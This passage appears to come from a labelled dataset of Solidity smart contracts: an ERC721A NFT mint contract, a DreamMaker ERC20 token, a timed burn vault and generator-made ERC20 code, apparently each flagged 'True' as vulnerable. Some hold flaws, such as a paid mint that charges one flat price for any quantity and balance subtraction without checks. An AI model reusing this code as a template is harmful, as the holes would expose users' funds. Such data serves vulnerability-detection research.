return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract xCoolCats is Ownable, ERC721A, ReentrancyGuard {
uint256 public maxPerAddressDuringMint;
uint256 public amountForDevs;
uint256 public price = 0.01 ether;
uint256 public freemintAmount = 20;
uint256 public mintAmount = 20;
bool public revealed = false;
struct SaleConfig {
uint64 publicPrice;
}
SaleConfig public saleConfig;
mapping(address => uint256) public allowlist;
// // metadata URI
string private _baseTokenURI;
string private _hiddenMetadataUri ='ipfs://no/hidden.json';
constructor() ERC721A("0xCoolCats", "0xCC", 20, 10000, 1000) {
maxPerAddressDuringMint = 20;
amountForDevs = 10;
}
function Mint(uint256 quantity)
external
payable
nonReentrant
{
if (totalSupply() + quantity <= collectionSizeFree){
require(quantity <= freemintAmount, "Too many minted at once");
//require(totalSupply() + quantity <= collectionSizeFree, "reached max supply");
}else{
require(quantity <= mintAmount, "Too many minted at once");
require(msg.value >= price, "Need to send more ETH.");
require(totalSupply() + quantity <= collectionSize, "reached max supply");
}
_safeMint(msg.sender, quantity);
}
function refundIfOver(uint256 _price) private {
require(msg.value >= _price, "Need to send more ETH.");
if (msg.value > _price) {
payable(msg.sender).transfer(msg.value - _price);
}
}
function seedAllowlist(address[] memory addresses, uint256[] memory numSlots)
external
onlyOwner
{
require(
addresses.length == numSlots.length,
"addresses does not match numSlots length"
);
for (uint256 i = 0; i < addresses.length; i++) {
allowlist[addresses[i]] = numSlots[i];
}
}
// For marketing etc.
function Mints(uint256 quantity) external onlyOwner {
require(totalSupply() + quantity <= amountForDevs, "reached max supply");
_safeMint(msg.sender, quantity);
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
if (revealed){
return super.tokenURI(tokenId);
}
else{
return _hiddenMetadataUri;
}
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function setHiddenURI(string calldata baseURI) external onlyOwner {
_hiddenMetadataUri = baseURI;
}
function withdrawMoney() external onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
_setOwnersExplicit(quantity);
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
return ownershipOf(tokenId);
}
function setRevealed(bool _state) external onlyOwner{
revealed = _state;
}
function setprice(uint256 _newprice) public onlyOwner {
price = _newprice;
}
function setfreemints(uint256 _newfreemints) public onlyOwner {
collectionSizeFree = _newfreemints;
}
function setcollectionSize(uint256 _newcollectionSize) public onlyOwner {
collectionSize = _newcollectionSize;
}
function setamountForDevs(uint256 _newamountForDevs) public onlyOwner {
amountForDevs = _newamountForDevs;
}
function setfreemintAmount(uint256 _newfreemintAmount) public onlyOwner {
freemintAmount = _newfreemintAmount;
}
function setmintAmount(uint256 _newmintAmount) public onlyOwner {
mintAmount = _newmintAmount;
}
function getCollectionSize() external view returns(uint256){
return collectionSize;
}
function getFreeCollectionSize() external view returns(uint256){
return collectionSizeFree;
}
} | True | [
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// © DreamMaker token 2018 All Rights Reserved
// Telegram group: @DRMKtoken
// Twitter: @DRMKtoken
// Telegram of the founder: @DRMKdev
pragma solidity ^0.4.25;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DreamMaker is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 86000000 * 10000;
function name() public constant returns (string) { return "DreamMaker"; }
function symbol() public constant returns (string) { return "DRMK"; }
function decimals() public constant returns (uint8) { return 4; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function DreamMaker() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeDRMK(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
emit Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
emit Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
emit Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2020-12-07
*/
pragma solidity ^0.7.0;
//SPDX-License-Identifier: UNLICENSED
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function burnMyTokensFOREVER(uint256 amount) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FireVault is Context, Ownable {
IERC20 public FIRE;
uint constant public TheBigBurnTime = 1608854400; // 12/25/2020 @ 12:00am (UTC)
function TheBigBurn() external {
require(block.timestamp >= TheBigBurnTime, "The time didn't come yet!");
require(FIRE != IERC20(address(0)),"FIRE not set");
FIRE.burnMyTokensFOREVER(FIRE.balanceOf(address(this)));
}
function setFIREAddress(IERC20 _addr) external onlyOwner {
require(FIRE == IERC20(address(0)),"FIRE already set");
FIRE = _addr;
}
} | True | [
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3727,
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1008,
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2121,
1036,
4972,
102
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/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
